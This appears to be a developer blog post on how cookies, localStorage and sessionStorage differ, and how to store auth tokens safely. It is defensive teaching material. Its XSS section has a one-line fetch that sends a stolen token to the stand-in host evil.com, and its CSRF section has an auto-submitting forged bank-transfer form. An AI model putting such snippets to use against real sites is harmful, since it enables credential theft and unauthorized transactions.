Cookies vs LocalStorage vs SessionStorage: The Difference Developers Actually Need to Know
You use them every day. You probably have a default mental model: "cookies are small, localStorage is big, sessionStorage dies when the tab closes."
That mental model is mostly right — and dangerously incomplete.
The real differences aren't about size or persistence. They're about who controls the data, what attacks can steal it, and what the browser automatically does with it on every single request.
If you store a JWT in localStorage because "it's bigger than a cookie," you've already made the most common security mistake in modern frontend development.
The Three Mechanisms — What They Actually Are
| Property | Cookies | localStorage | sessionStorage |
|---|---|---|---|
| Who creates it | Server (Set-Cookie header) or JS (document.cookie) |
JavaScript only | JavaScript only |
| Who reads it | Server (auto-sent), JS (unless HttpOnly) |
JavaScript only | JavaScript only |
| Persistence | Configurable (Expires/Max-Age) |
Until explicitly cleared | Until tab closes |
| Scope | Domain + Path (configurable) | Origin (scheme + host + port) | Origin + specific tab |
| Capacity | ~4 KB per cookie | ~5–10 MB | ~5–10 MB |
| Sent with requests | Automatically, always | Never | Never |
| Threading | Synchronous (network boundary) | Synchronous (blocks main thread) | Synchronous (blocks main thread) |
| Data type | Strings only | Strings only | Strings only |
The Critical Misunderstanding: Cookies Ride the Network
This is the single most important fact:
Every valid cookie for a domain is automatically attached to every HTTP request to that domain. HTML, CSS, JS, images, fonts, API calls, favicons — all of them.
If you put a 3 KB JSON blob in a cookie, and your page loads 50 resources, the browser uploads 150 KB of redundant cookie data before the server processes a single request. On mobile 3G, this destroys TTFB.
Cookies are not a client-side database. They are a state-transport mechanism.
The XSS Asymmetry: Why HttpOnly Changes Everything
localStorage.getItem('token') // XSS payload reads it in one line
fetch('https://evil.com/steal?t=' + token) // Exfiltrated
Any XSS vulnerability — a vulnerable npm dependency, a missed escape in a template, a third-party script — gives the attacker full read access to localStorage and sessionStorage. The token is portable. It works from the attacker's machine, anywhere, until it expires.
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
With HttpOnly, the browser's C++ engine physically denies the JavaScript engine access. document.cookie returns nothing for that cookie. The attacker can still make requests while the user has the page open (session riding), but they cannot extract the credential for offline use.
That asymmetry — short-lived damage vs. persistent account takeover — is why HttpOnly cookies are the correct default for authentication.
The CSRF Trap: Cookies Ride Automatically
Because cookies attach automatically, a malicious site can trigger your endpoints:
<!-- evil.com -->
<form action="https://yourbank.com/transfer" method="POST">
<input name="amount" value="10000">
<input name="to" value="attacker">
</form>
<script>document.forms[0].submit()</script>
If your auth cookie lacks SameSite protection, the browser sends it. The transfer executes.
Modern mitigation (since 2020):
-
SameSite=Lax(default in all major browsers): Cookie sent on same-site requests + top-level cross-site GET navigations. Blocks most CSRF. -
SameSite=Strict: Never sent cross-site. Strongest protection, breaks some legitimate flows (email links). -
SameSite=None; Secure: Explicitly opts into cross-site sending. Required for embedded widgets, SSO.
The Synchronous Trap: localStorage Blocks the Main Thread
localStorage.setItem('hugeData', JSON.stringify(largeObject))
// Main thread HALTS until write completes
// On mobile, 5 MB write can freeze UI for 100–500ms
localStorage and sessionStorage are synchronous. The browser writes to disk (typically an SQLite file) before returning. Large writes or JSON parsing on retrieval block the UI thread.
IndexedDB exists for this reason — asynchronous, transactional, supports structured clones (no JSON.stringify overhead), handles hundreds of MB.
The Private Browsing Trap
Safari Private Browsing throws QuotaExceededError on every localStorage.setItem. Chrome allows writes but wipes everything on close.
try {
localStorage.setItem('key', 'value')
} catch (e) {
// Handle private mode gracefully
}
Always wrap storage writes in try/catch. Assume storage can disappear.
The "Session" Confusion
sessionStorage ≠ Server Session
| Concept | What It Actually Is |
|---|---|
| Server-side session | User state on your server, linked by a session ID cookie |
| sessionStorage | Tab-scoped client-side key-value store, cleared on tab close |
| Session cookie | Cookie without Expires/Max-Age — deleted when browser process exits |
Developers constantly confuse these three. They are completely different things.
Decision Flow: What Goes Where
Does the server need this on every request?
├── YES → Cookie (HttpOnly + Secure + SameSite=Strict/Lax)
│ • Auth tokens, session IDs, CSRF tokens
│ • A/B test buckets the server reads
│ • Keep under 4 KB total
│
└── NO → Is it HTTP responses for offline PWA?
├── YES → Cache API + Service Worker
│
├── Is it MB-scale or structured objects/blobs?
│ └── YES → IndexedDB (use Dexie or idb)
│
├── Should it survive tab close?
│ ├── YES → localStorage (non-sensitive only: theme, prefs, UI state)
│ └── NO → sessionStorage (form drafts, wizard step state, per-tab UI)
│
└── Is it sensitive (PII, tokens, keys)?
└── YES → Don't store client-side. Keep on server.
Common Mistakes That Ship to Production
| Mistake | Why It's Wrong | Fix |
|---|---|---|
| JWT in localStorage | XSS = full account takeover | HttpOnly cookie |
| JWT in sessionStorage | Same XSS risk, slightly smaller window | HttpOnly cookie |
| Large JSON in cookies | 150 KB+ header bloat per page load | Move to localStorage/IndexedDB |
Auth cookie without Secure
|
Leaks in plaintext over HTTP | Always Secure
|
Auth cookie without SameSite
|
CSRF wide open |
SameSite=Lax minimum |
localStorage.setItem(obj) without stringify |
Stores "[object Object]"
|
JSON.stringify() |
| No try/catch on storage writes | Crashes in Safari Private Browsing | Wrap every write |
| Assuming localStorage is permanent | Safari ITP clears after 7 days inactivity | Server-side recovery path |
| Storing refresh token in localStorage | Long-lived credential, portable theft | HttpOnly cookie + rotation |
| Using cookies for theme/locale | Wastes bandwidth on every request | localStorage (or cookie if SSR needs it) |
The Mental Model to Keep
| Storage | Think of it as |
|---|---|
| HttpOnly Cookie | A key the server gave you. You carry it but can't read it. The browser hands it to the server automatically. |
| localStorage | A shared notebook on the user's device. Any script on your origin can read/write. Survives restarts. |
| sessionStorage | A scratchpad for this tab only. Thrown away when the tab closes. |
| IndexedDB | A real embedded database. Async, transactional, handles blobs and indexes. |
| Cache API | A cache of HTTP responses. For offline PWAs. |
TL;DR
- Auth tokens → HttpOnly + Secure + SameSite cookie. Not localStorage. Not sessionStorage. Not memory (impractical).
- Non-sensitive prefs that survive restarts → localStorage. Keep it small. Wrap in try/catch.
- Per-tab transient state → sessionStorage. Form drafts, wizard steps.
- Large/complex/offline data → IndexedDB. Use Dexie or idb.
- Offline HTTP resources → Cache API + Service Worker.
- Anything truly sensitive → Server. Not the browser.
The browser gives you a layered system. Use each layer for what it's designed for, and you avoid the security and performance bugs that plague every codebase that treats all storage as interchangeable.
Tags: javascript, webdev, security, frontend, storage
Top comments (0)